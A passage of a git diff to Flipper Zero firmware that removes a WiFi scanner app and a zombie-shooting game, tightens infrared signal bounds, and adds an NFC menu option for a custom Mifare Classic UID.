canvas_set_custom_u8g2_font(canvas, u8g2_font_7x13B_tr); - //canvas_set_font(canvas, FontPrimary); - const char* message = "Monitor Mode"; - canvas_draw_str( - canvas, 128 / 2 - canvas_string_width(canvas, message) / 2, 55, message); - } break; - default: - break; - } - } - furi_mutex_release(app->mutex); -} - -static void wifi_module_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - SPluginEvent event = {.m_type = EventTypeKey, .m_input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - furi_assert(context); - - SWiFiScannerApp* app = context; - - WIFI_APP_LOG_I("uart_echo_on_irq_cb"); - - if(ev == UartIrqEventRXNE) { - WIFI_APP_LOG_I("ev == UartIrqEventRXNE"); - furi_stream_buffer_send(app->m_rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventRx); - } -} - -static int32_t uart_worker(void* context) { - furi_assert(context); - - SWiFiScannerApp* app = context; - furi_mutex_acquire(app->mutex, FuriWaitForever); - if(app == NULL) { - return 1; - } - - FuriStreamBuffer* rx_stream = app->m_rx_stream; - - furi_mutex_release(app->mutex); - - while(true) { - uint32_t events = furi_thread_flags_wait( - WorkerEventStop | WorkerEventRx, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) break; - if(events & WorkerEventRx) { - size_t length = 0; - FuriString* receivedString; - receivedString = furi_string_alloc(); - do { - uint8_t data[64]; - length = furi_stream_buffer_receive(rx_stream, data, 64, 25); - if(length > 0) { - WIFI_APP_LOG_I("Received Data - length: %i", length); - - for(uint16_t i = 0; i < length; i++) { - furi_string_push_back(receivedString, data[i]); - } - - //notification_message(app->notification, &sequence_set_only_red_255); - } - } while(length > 0); - if(furi_string_size(receivedString) > 0) { - FuriString* chunk; - chunk = furi_string_alloc(); - size_t begin = 0; - size_t end = 0; - size_t stringSize = furi_string_size(receivedString); - - WIFI_APP_LOG_I("Received string: %s", furi_string_get_cstr(receivedString)); - - FuriString* chunksArray[EChunkArrayData_ENUM_MAX]; - for(uint8_t i = 0; i < EChunkArrayData_ENUM_MAX; ++i) { - chunksArray[i] = furi_string_alloc(); - } - - uint8_t index = 0; - do { - end = furi_string_search_char(receivedString, '+', begin); - - if(end == FURI_STRING_FAILURE) { - end = stringSize; - } - - WIFI_APP_LOG_I("size: %i, begin: %i, end: %i", stringSize, begin, end); - - furi_string_set_strn( - chunk, &furi_string_get_cstr(receivedString)[begin], end - begin); - - WIFI_APP_LOG_I("String chunk: %s", furi_string_get_cstr(chunk)); - - furi_string_set(chunksArray[index++], chunk); - - begin = end + 1; - } while(end < stringSize); - furi_string_free(chunk); - - app = context; - furi_mutex_acquire(app->mutex, FuriWaitForever); - if(app == NULL) { - return 1; - } - - if(!app->m_wifiModuleInitialized) { - if(furi_string_cmp_str( - chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_INITIALIZATION) == - 0) { - app->m_wifiModuleInitialized = true; - app->m_context = ScanAnimation; - } - - } else { - if(furi_string_cmp_str( - chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_MONITOR) == 0) { - app->m_context = MonitorMode; - } else if( - furi_string_cmp_str( - chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_SCAN) == 0) { - app->m_context = ScanMode; - } else if( - furi_string_cmp_str( - chunksArray[EChunkArrayData_Context], MODULE_CONTEXT_SCAN_ANIMATION) == - 0) { - app->m_context = ScanAnimation; - } else if( - furi_string_cmp_str( - chunksArray[EChunkArrayData_Context], - MODULE_CONTEXT_MONITOR_ANIMATION) == 0) { - app->m_context = MonitorAnimation; - } - - if(app->m_context == MonitorMode || app->m_context == ScanMode) { - furi_string_set( - app->m_currentAccesspointDescription.m_accessPointName, - chunksArray[EChunkArrayData_SSID]); - furi_string_set( - app->m_currentAccesspointDescription.m_secType, - chunksArray[EChunkArrayData_EncryptionType]); - app->m_currentAccesspointDescription.m_rssi = - atoi(furi_string_get_cstr(chunksArray[EChunkArrayData_RSSI])); - furi_string_set( - app->m_currentAccesspointDescription.m_bssid, - chunksArray[EChunkArrayData_BSSID]); - app->m_currentAccesspointDescription.m_channel = - atoi(furi_string_get_cstr(chunksArray[EChunkArrayData_Channel])); - app->m_currentAccesspointDescription.m_isHidden = - atoi(furi_string_get_cstr(chunksArray[EChunkArrayData_IsHidden])); - - app->m_currentIndexAccessPoint = atoi( - furi_string_get_cstr(chunksArray[EChunkArrayData_CurrentAPIndex])); - app->m_totalAccessPoints = - atoi(furi_string_get_cstr(chunksArray[EChunkArrayData_TotalAps])); - } - } - - furi_mutex_release(app->mutex); - - // Clear string array - for(index = 0; index < EChunkArrayData_ENUM_MAX; ++index) { - furi_string_free(chunksArray[index]); - } - } - furi_string_free(receivedString); - } - } - - return 0; -} - -typedef enum ESerialCommand { - ESerialCommand_Next, - ESerialCommand_Previous, - ESerialCommand_Scan, - ESerialCommand_MonitorMode, - ESerialCommand_Restart -} ESerialCommand; - -void send_serial_command(ESerialCommand command) { -#if !DISABLE_CONSOLE - return; -#endif - - uint8_t data[1] = {0}; - - switch(command) { - case ESerialCommand_Next: - data[0] = MODULE_CONTROL_COMMAND_NEXT; - break; - case ESerialCommand_Previous: - data[0] = MODULE_CONTROL_COMMAND_PREVIOUS; - break; - case ESerialCommand_Scan: - data[0] = MODULE_CONTROL_COMMAND_SCAN; - break; - case ESerialCommand_MonitorMode: - data[0] = MODULE_CONTROL_COMMAND_MONITOR; - break; - case ESerialCommand_Restart: - data[0] = MODULE_CONTROL_COMMAND_RESTART; - break; - default: - return; - }; - - furi_hal_uart_tx(FuriHalUartIdUSART1, data, 1); -} - -int32_t wifi_scanner_app(void* p) { - UNUSED(p); - - WIFI_APP_LOG_I("Init"); - - // FuriTimer* timer = furi_timer_alloc(blink_test_update, FuriTimerTypePeriodic, event_queue); - // furi_timer_start(timer, furi_kernel_get_tick_frequency()); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(SPluginEvent)); - - SWiFiScannerApp* app = malloc(sizeof(SWiFiScannerApp)); - - wifi_scanner_app_init(app); - -#if ENABLE_MODULE_DETECTION - furi_hal_gpio_init( - &gpio_ext_pc0, - GpioModeInput, - GpioPullUp, - GpioSpeedLow); // Connect to the Flipper's ground just to be sure - //furi_hal_gpio_add_int_callback(pinD0, input_isr_d0, this); - app->m_context = WaitingForModule; -#else - app->m_context = Initializing; -#if ENABLE_MODULE_POWER - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); -#endif // ENABLE_MODULE_POWER -#endif // ENABLE_MODULE_DETECTION - - app->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - if(!app->mutex) { - WIFI_APP_LOG_E("cannot create mutex\r\n"); - free(app); - return 255; - } - - WIFI_APP_LOG_I("Mutex created"); - - app->m_notification = furi_record_open(RECORD_NOTIFICATION); - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, wifi_module_render_callback, app); - view_port_input_callback_set(view_port, wifi_module_input_callback, event_queue); - - // Open GUI and register view_port - app->m_gui = furi_record_open(RECORD_GUI); - gui_add_view_port(app->m_gui, view_port, GuiLayerFullscreen); - - //notification_message(app->notification, &sequence_set_only_blue_255); - - app->m_rx_stream = furi_stream_buffer_alloc(1 * 1024, 1); - - app->m_worker_thread = furi_thread_alloc(); - furi_thread_set_name(app->m_worker_thread, "WiFiModuleUARTWorker"); - furi_thread_set_stack_size(app->m_worker_thread, 1024); - furi_thread_set_context(app->m_worker_thread, app); - furi_thread_set_callback(app->m_worker_thread, uart_worker); - furi_thread_start(app->m_worker_thread); - WIFI_APP_LOG_I("UART thread allocated"); - - // Enable uart listener -#if DISABLE_CONSOLE - furi_hal_console_disable(); -#endif - furi_hal_uart_set_br(FuriHalUartIdUSART1, FLIPPERZERO_SERIAL_BAUD); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_on_irq_cb, app); - WIFI_APP_LOG_I("UART Listener created"); - - // Because we assume that module was on before we launched the app. We need to ensure that module will be in initial state on app start - send_serial_command(ESerialCommand_Restart); - - SPluginEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(app->mutex, FuriWaitForever); - -#if ENABLE_MODULE_DETECTION - if(!app->m_wifiModuleAttached) { - if(furi_hal_gpio_read(&gpio_ext_pc0) == false) { - WIFI_APP_LOG_I("Module Attached"); - app->m_wifiModuleAttached = true; - app->m_context = Initializing; -#if ENABLE_MODULE_POWER - uint8_t attempts2 = 0; - while(!furi_hal_power_is_otg_enabled() && attempts2++ < 3) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - -#endif - } - } -#endif // ENABLE_MODULE_DETECTION - - if(event_status == FuriStatusOk) { - if(event.m_type == EventTypeKey) { - if(app->m_wifiModuleInitialized) { - if(app->m_context == ScanMode) { - switch(event.m_input.key) { - case InputKeyUp: - case InputKeyLeft: - if(event.m_input.type == InputTypeShort) { - WIFI_APP_LOG_I("Previous"); - send_serial_command(ESerialCommand_Previous); - } else if(event.m_input.type == InputTypeRepeat) { - WIFI_APP_LOG_I("Previous Repeat"); - send_serial_command(ESerialCommand_Previous); - } - break; - case InputKeyDown: - case InputKeyRight: - if(event.m_input.type == InputTypeShort) { - WIFI_APP_LOG_I("Next"); - send_serial_command(ESerialCommand_Next); - } else if(event.m_input.type == InputTypeRepeat) { - WIFI_APP_LOG_I("Next Repeat"); - send_serial_command(ESerialCommand_Next); - } - break; - default: - break; - } - } - - switch(event.m_input.key) { - case InputKeyOk: - if(event.m_input.type == InputTypeShort) { - if(app->m_context == ScanMode) { - WIFI_APP_LOG_I("Monitor Mode"); - send_serial_command(ESerialCommand_MonitorMode); - } - } else if(event.m_input.type == InputTypeLong) { - WIFI_APP_LOG_I("Scan"); - send_serial_command(ESerialCommand_Scan); - } - break; - case InputKeyBack: - if(event.m_input.type == InputTypeShort) { - switch(app->m_context) { - case MonitorMode: - send_serial_command(ESerialCommand_Scan); - break; - case ScanMode: - processing = false; - break; - default: - break; - } - } else if(event.m_input.type == InputTypeLong) { - processing = false; - } - break; - default: - break; - } - } else { - if(event.m_input.key == InputKeyBack) { - if(event.m_input.type == InputTypeShort || - event.m_input.type == InputTypeLong) { - processing = false; - } - } - } - } - } - -#if ENABLE_MODULE_DETECTION - if(app->m_wifiModuleAttached && furi_hal_gpio_read(&gpio_ext_pc0) == true) { - WIFI_APP_LOG_D("Module Disconnected - Exit"); - processing = false; - app->m_wifiModuleAttached = false; - app->m_wifiModuleInitialized = false; - } -#endif - - view_port_update(view_port); - furi_mutex_release(app->mutex); - } - - WIFI_APP_LOG_I("Start exit app"); - - furi_thread_flags_set(furi_thread_get_id(app->m_worker_thread), WorkerEventStop); - furi_thread_join(app->m_worker_thread); - furi_thread_free(app->m_worker_thread); - - WIFI_APP_LOG_I("Thread Deleted"); - - // Reset GPIO pins to default state - furi_hal_gpio_init(&gpio_ext_pc0, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - -#if DISABLE_CONSOLE - furi_hal_console_enable(); -#endif - - view_port_enabled_set(view_port, false); - - gui_remove_view_port(app->m_gui, view_port); - - // Close gui record - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - app->m_gui = NULL; - - view_port_free(view_port); - - furi_message_queue_free(event_queue); - - furi_stream_buffer_free(app->m_rx_stream); - - furi_mutex_free(app->mutex); - - // Free rest - free(app); - - WIFI_APP_LOG_I("App freed"); - -#if ENABLE_MODULE_POWER - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } -#endif - - return 0; -} \ No newline at end of file diff --git a/applications/external/zombiez/application.fam b/applications/external/zombiez/application.fam deleted file mode 100644 index ca6120899..000000000 --- a/applications/external/zombiez/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="zombiez", - name="Zombiez", - apptype=FlipperAppType.EXTERNAL, - entry_point="zombiez_game_app", - requires=["gui"], - stack_size=2 * 1024, - order=280, - fap_icon="zombie_10px.png", - fap_category="Games", - fap_author="@DevMilanIan & @xMasterX, (original By @Dooskington)", - fap_version="1.0", - fap_description="Defend your walls from the zombies", -) diff --git a/applications/external/zombiez/zombie_10px.png b/applications/external/zombiez/zombie_10px.png deleted file mode 100644 index 37363ec04..000000000 Binary files a/applications/external/zombiez/zombie_10px.png and /dev/null differ diff --git a/applications/external/zombiez/zombiez.c b/applications/external/zombiez/zombiez.c deleted file mode 100644 index a9bf74f7a..000000000 --- a/applications/external/zombiez/zombiez.c +++ /dev/null @@ -1,402 +0,0 @@ -#include -#include -#include -#include -#include - -//ORIGINAL REPO: https://github.com/Dooskington/flipperzero-zombiez -//AUTHORS: https://github.com/Dooskington | https://github.com/DevMilanIan - -#include "zombiez.h" - -#define ZOMBIES_MAX 3 -#define ZOMBIES_WIDTH 5 -#define ZOMBIES_HEIGHT 8 -#define PROJECTILES_MAX 10 - -#define MIN_Y 5 -#define MAX_Y 58 -#define WALL_X 16 -#define PLAYER_START_X 8 -#define PLAYER_START_Y (MAX_Y - MIN_Y) / 2 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef enum { GameStatePlaying, GameStateGameOver } GameState; - -typedef struct { - int x; - int y; -} Point; - -typedef struct { - Point position; - int hp; -} Player; - -typedef struct { - Point position; - int hp; -} Zombie; - -typedef struct { - Point position; -} Projectile; - -typedef struct { - FuriMutex* mutex; - GameState game_state; - Player player; - - size_t zombies_count; - Zombie* zombies[ZOMBIES_MAX]; - - size_t projectiles_count; - Projectile* projectiles[PROJECTILES_MAX]; - - uint16_t score; - bool input_shoot; -} PluginState; - -static void render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const PluginState* plugin_state = ctx; - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - - canvas_draw_frame(canvas, 0, 0, 128, 64); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, - plugin_state->player.position.x, - plugin_state->player.position.y, - AlignCenter, - AlignCenter, - "@"); - - canvas_draw_line(canvas, WALL_X, 0, WALL_X, 64); - canvas_draw_line(canvas, WALL_X + 2, 4, WALL_X + 2, 59); - - for(int i = 0; i < PROJECTILES_MAX; ++i) { - Projectile* p = plugin_state->projectiles[i]; - if(p != NULL) { - canvas_draw_disc(canvas, p->position.x, p->position.y, 3); - } - } - - for(int i = 0; i < ZOMBIES_MAX; ++i) { - Zombie* z = plugin_state->zombies[i]; - if(z != NULL) { - for(int h = 0; h < ZOMBIES_HEIGHT; h++) { - for(int w = 0; w < ZOMBIES_WIDTH; w++) { - // Switch animation - int zIdx = 0; - if(z->position.x % 2 == 0) { - zIdx = 1; - } - - // Draw zombie pixels - if(zombie_array[zIdx][h][w] == 1) { - int x = z->position.x + w; - int y = z->position.y + h; - - canvas_draw_dot(canvas, x, y); - } - } - } - } - } - - int heart; - if((plugin_state->player.hp - 10) > 5) { // 16, 17, 18, 19, 20 - heart = 0; - } else if((plugin_state->player.hp - 5) > 5) { // 11, 12, 13, 14, 15 - heart = 1; - } else if((plugin_state->player.hp - 3) > 2) { // 6, 7, 8, 9, 10 - heart = 2; - } else if(plugin_state->player.hp > 0) { // 1, 2, 3, 4, 5 - heart = 3; - } else { // 0 - heart = 4; - } - // visual representation of health - for(int h = 0; h < 5; h++) { - for(int w = 0; w < 5; w++) { - if(heart_array[heart][h][w] == 1) { - int x = 124 - w; - int y = 56 + h; - - canvas_draw_dot(canvas, x, y); - } - } - } - - // buffer hp + score - char hpBuffer[8]; - char scoreBuffer[14]; - - if(plugin_state->game_state == GameStatePlaying) { - // display ammo / reload - if(plugin_state->projectiles_count >= PROJECTILES_MAX) { - canvas_draw_str_aligned(canvas, 24, 10, AlignLeft, AlignCenter, "RELOAD"); - } else { - for(uint8_t i = 0; i < (PROJECTILES_MAX - plugin_state->projectiles_count); i++) { - canvas_draw_box(canvas, 24 + (4 * i), 6, 2, 4); - } - } - // display hp + score - snprintf(hpBuffer, sizeof(hpBuffer), "%u", plugin_state->player.hp); - canvas_draw_str_aligned(canvas, 118, 62, AlignRight, AlignBottom, hpBuffer); - - snprintf(scoreBuffer, sizeof(scoreBuffer), "%u", plugin_state->score); - canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, scoreBuffer); - } - // Game Over banner - if(plugin_state->game_state == GameStateGameOver) { - // Screen is 128x64 px - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 34, 20, 62, 24); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_frame(canvas, 34, 20, 62, 24); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 37, 31, "Game Over"); - - canvas_set_font(canvas, FontSecondary); - snprintf(scoreBuffer, sizeof(scoreBuffer), "Score: %u", plugin_state->score); - canvas_draw_str_aligned(canvas, 64, 41, AlignCenter, AlignBottom, scoreBuffer); - } - - //char* info = (char*)malloc(16 * sizeof(char)); - //asprintf(&info, "%d, %d", plugin_state->x, plugin_state->y); - //canvas_draw_str_aligned(canvas, 32, 16, AlignLeft, AlignBottom, info); - //free(info); - - furi_mutex_release(plugin_state->mutex); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - PluginEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void tick(PluginState* const plugin_state) { - if(plugin_state->input_shoot && (plugin_state->projectiles_count < PROJECTILES_MAX)) { - Projectile* p = (Projectile*)malloc(sizeof(Projectile)); - p->position.x = plugin_state->player.position.x; - p->position.y = plugin_state->player.position.y; - - size_t idx = plugin_state->projectiles_count; - plugin_state->projectiles[idx] = p; - plugin_state->projectiles_count += 1; - } - - for(int i = 0; i < ZOMBIES_MAX; ++i) { - if(!plugin_state->zombies[i]) { - Zombie* z = (Zombie*)malloc(sizeof(Zombie)); - //z->hp = 20; - z->position.x = 126; - z->position.y = MIN_Y + (rand() % (MAX_Y - MIN_Y)); - - plugin_state->zombies[i] = z; - plugin_state->zombies_count += 1; - } - } - - for(int i = 0; i < PROJECTILES_MAX; ++i) { - Projectile* p = plugin_state->projectiles[i]; - if(p != NULL) { - p->position.x += 2; - - for(int i = 0; i < ZOMBIES_MAX; ++i) { - Zombie* z = plugin_state->zombies[i]; - if(z != NULL) { - if( // projectile close enough to zombie - (((z->position.x - p->position.x) <= 2) && - ((z->position.y - p->position.y) <= 4)) && - (((p->position.x - z->position.x) <= 2) && - ((p->position.y - z->position.y) <= 6))) { - //z->hp -= 5; - //if(z->hp <= 0) { - plugin_state->zombies_count -= 1; - free(z); - plugin_state->zombies[i] = NULL; - plugin_state->score++; - //if(plugin_state->score % 15 == 0) dolphin_deed(getRandomDeed()); - //} - } else if(z->position.x <= WALL_X && z->position.x > 0) { // zombie got to the wall - plugin_state->zombies_count -= 1; - free(z); - plugin_state->zombies[i] = NULL; - if(plugin_state->player.hp > 0) { - plugin_state->player.hp--; - } else { - plugin_state->game_state = GameStateGameOver; - } - } else { - if(furi_get_tick() % 2 == 0) z->position.x--; - } - } - } - - if(p->position.x >= 128) { - free(p); - plugin_state->projectiles[i] = NULL; - } - } - } - - plugin_state->input_shoot = false; -} - -static void timer_callback(void* ctx) { - furi_assert(ctx); - FuriMessageQueue* event_queue = ctx; - PluginEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -static void zombiez_state_init(PluginState* const plugin_state) { - plugin_state->player.position.x = PLAYER_START_X; - plugin_state->player.position.y = PLAYER_START_Y; - plugin_state->player.hp = 20; - - plugin_state->projectiles_count = 0; - plugin_state->zombies_count = 0; - plugin_state->score = 0; - - for(int i = 0; i < PROJECTILES_MAX; i++) { - plugin_state->projectiles[i] = NULL; - } - - for(int i = 0; i < ZOMBIES_MAX; i++) { - plugin_state->zombies[i] = NULL; - } - - plugin_state->game_state = GameStatePlaying; - plugin_state->input_shoot = false; -} - -int32_t zombiez_game_app(void* p) { - UNUSED(p); - uint32_t return_code = 0; - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - - PluginState* plugin_state = malloc(sizeof(PluginState)); - zombiez_state_init(plugin_state); - - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - FURI_LOG_E("Zombiez", "cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - FuriTimer* timer = furi_timer_alloc(timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 22); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - PluginEvent event; - bool isRunning = true; - while(isRunning) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); - if(event_status == FuriStatusOk) { - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - if(plugin_state->player.position.y > MIN_Y && - plugin_state->game_state == GameStatePlaying) { - plugin_state->player.position.y--; - } - break; - case InputKeyDown: - if(plugin_state->player.position.y < MAX_Y && - plugin_state->game_state == GameStatePlaying) { - plugin_state->player.position.y++; - } - break; - case InputKeyOk: - if(plugin_state->projectiles_count < PROJECTILES_MAX && - plugin_state->game_state == GameStatePlaying) { - plugin_state->input_shoot = true; - } - break; - case InputKeyBack: - break; - default: - break; - } - } else if( - event.input.type == InputTypeRepeat && - plugin_state->game_state == GameStatePlaying) { - switch(event.input.key) { - case InputKeyUp: - if(plugin_state->player.position.y > (MIN_Y + 1)) { - plugin_state->player.position.y -= 4; - } - break; - case InputKeyDown: - if(plugin_state->player.position.y < (MAX_Y - 1)) { - plugin_state->player.position.y += 4; - } - break; - default: - break; - } - } else if(event.input.type == InputTypeLong) { - if(event.input.key == InputKeyOk) { - if(plugin_state->game_state == GameStateGameOver) { - zombiez_state_init(plugin_state); - } else if(plugin_state->projectiles_count >= PROJECTILES_MAX) { - plugin_state->projectiles_count = 0; - plugin_state->player.hp++; - } - } else if(event.input.key == InputKeyBack) { - isRunning = false; - } - } - } else if(event.type == EventTypeTick) { - tick(plugin_state); - } - } - - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_mutex_free(plugin_state->mutex); - -free_and_exit: - free(plugin_state); - furi_message_queue_free(event_queue); - - return return_code; -} \ No newline at end of file diff --git a/applications/external/zombiez/zombiez.h b/applications/external/zombiez/zombiez.h deleted file mode 100644 index eea71d707..000000000 --- a/applications/external/zombiez/zombiez.h +++ /dev/null @@ -1,62 +0,0 @@ -#include - -uint8_t zombie_array[2][8][5] = { - { - {0, 0, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {1, 1, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {0, 0, 1, 0, 0}, - {0, 0, 1, 0, 0}, - }, - { - {0, 0, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {1, 1, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {0, 0, 1, 1, 1}, - {0, 0, 0, 0, 1}, - {0, 0, 0, 0, 1}, - }, -}; - -uint8_t heart_array[5][5][5] = { - { - {0, 1, 0, 1, 0}, - {1, 1, 1, 1, 1}, - {1, 1, 1, 1, 1}, - {0, 1, 1, 1, 0}, - {0, 0, 1, 0, 0}, - }, - { - {0, 0, 0, 0, 0}, - {1, 1, 1, 1, 1}, - {1, 1, 1, 1, 1}, - {0, 1, 1, 1, 0}, - {0, 0, 1, 0, 0}, - }, - { - {0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0}, - {1, 1, 1, 1, 1}, - {0, 1, 1, 1, 0}, - {0, 0, 1, 0, 0}, - }, - { - {0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0}, - {0, 0, 0, 0, 0}, - {0, 1, 1, 1, 0}, - {0, 0, 1, 0, 0}, - }, - { - {1, 0, 0, 0, 1}, - {0, 1, 0, 1, 0}, - {0, 0, 1, 0, 0}, - {0, 1, 0, 1, 0}, - {1, 0, 0, 0, 1}, - }, -}; \ No newline at end of file diff --git a/applications/main/infrared/infrared_signal.c b/applications/main/infrared/infrared_signal.c index 9154dfbf6..3f9a51908 100644 --- a/applications/main/infrared/infrared_signal.c +++ b/applications/main/infrared/infrared_signal.c @@ -208,6 +208,21 @@ void infrared_signal_set_raw_signal( float duty_cycle) { infrared_signal_clear_timings(signal); + // If the frequency is out of bounds, set it to the closest bound same for duty cycle + // TODO: Should we return error instead? Also infrared_signal_is_valid is used only in CLI for some reason?! + if(frequency > INFRARED_MAX_FREQUENCY) { + frequency = INFRARED_MAX_FREQUENCY; + } else if(frequency < INFRARED_MIN_FREQUENCY) { + frequency = INFRARED_MIN_FREQUENCY; + } + if((duty_cycle <= (float)0) || (duty_cycle > (float)1)) { + duty_cycle = (float)0.33; + } + // In case of timings out of bounds we just call return + if((timings_size <= 0) || (timings_size > MAX_TIMINGS_AMOUNT)) { + return; + } + signal->is_raw = true; signal->payload.raw.timings_size = timings_size; diff --git a/applications/main/nfc/helpers/nfc_custom_event.h b/applications/main/nfc/helpers/nfc_custom_event.h index aa932a3d8..00feb8484 100644 --- a/applications/main/nfc/helpers/nfc_custom_event.h +++ b/applications/main/nfc/helpers/nfc_custom_event.h @@ -14,4 +14,4 @@ enum NfcCustomEvent { NfcCustomEventRpcSessionClose, NfcCustomEventUpdateLog, NfcCustomEventSaveShadow, -}; +}; \ No newline at end of file diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index f11d14798..6232aaf30 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -3,6 +3,7 @@ ADD_SCENE(nfc, read, Read) ADD_SCENE(nfc, saved_menu, SavedMenu) ADD_SCENE(nfc, extra_actions, ExtraActions) ADD_SCENE(nfc, set_type, SetType) +ADD_SCENE(nfc, set_type_mf_uid, SetTypeMfUid) ADD_SCENE(nfc, set_sak, SetSak) ADD_SCENE(nfc, set_atqa, SetAtqa) ADD_SCENE(nfc, set_uid, SetUid) diff --git a/applications/main/nfc/scenes/nfc_scene_file_select.c b/applications/main/nfc/scenes/nfc_scene_file_select.c index 374a933d1..ce7ec92f4 100644 --- a/applications/main/nfc/scenes/nfc_scene_file_select.c +++ b/applications/main/nfc/scenes/nfc_scene_file_select.c @@ -3,6 +3,8 @@ void nfc_scene_file_select_on_enter(void* context) { Nfc* nfc = context; + nfc_device_data_clear(&nfc->dev->dev_data); + // Process file_select return nfc_device_set_loading_callback(nfc->dev, nfc_show_loading_popup, nfc); if(!furi_string_size(nfc->dev->load_path)) { diff --git a/applications/main/nfc/scenes/nfc_scene_save_name.c b/applications/main/nfc/scenes/nfc_scene_save_name.c index a7b97aac0..a432e69f7 100644 --- a/applications/main/nfc/scenes/nfc_scene_save_name.c +++ b/applications/main/nfc/scenes/nfc_scene_save_name.c @@ -58,7 +58,8 @@ bool nfc_scene_save_name_on_event(void* context, SceneManagerEvent event) { if(strcmp(nfc->dev->dev_name, "") != 0) { nfc_device_delete(nfc->dev, true); } - if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetUid)) { + if(scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetUid) && + (!scene_manager_has_previous_scene(nfc->scene_manager, NfcSceneSetTypeMfUid))) { nfc->dev->dev_data.nfc_data = nfc->dev_edit_data; } strlcpy(nfc->dev->dev_name, nfc->text_store, strlen(nfc->text_store) + 1); diff --git a/applications/main/nfc/scenes/nfc_scene_set_type.c b/applications/main/nfc/scenes/nfc_scene_set_type.c index cadf2eb69..0da633c63 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_type.c +++ b/applications/main/nfc/scenes/nfc_scene_set_type.c @@ -4,6 +4,7 @@ enum SubmenuIndex { SubmenuIndexNFCA4, SubmenuIndexNFCA7, + SubmenuIndexMFClassicCustomUID, SubmenuIndexGeneratorsStart, }; @@ -23,6 +24,12 @@ void nfc_scene_set_type_on_enter(void* context) { submenu, "NFC-A 7-bytes UID", SubmenuIndexNFCA7, nfc_scene_set_type_submenu_callback, nfc); submenu_add_item( submenu, "NFC-A 4-bytes UID", SubmenuIndexNFCA4, nfc_scene_set_type_submenu_callback, nfc); + submenu_add_item( + submenu, + "Mifare Classic Custom UID", + SubmenuIndexMFClassicCustomUID, + nfc_scene_set_type_submenu_callback, + nfc); // Generators int i = SubmenuIndexGeneratorsStart; @@ -49,6 +56,10 @@ bool nfc_scene_set_type_on_event(void* context, SceneManagerEvent event) { nfc->dev->format = NfcDeviceSaveFormatUid; scene_manager_next_scene(nfc->scene_manager, NfcSceneSetSak); consumed = true; + } else if(event.event == SubmenuIndexMFClassicCustomUID) { + nfc_device_clear(nfc->dev); + scene_manager_next_scene(nfc->scene_manager, NfcSceneSetTypeMfUid); + consumed = true; } else { nfc_device_clear(nfc->dev); nfc->generator 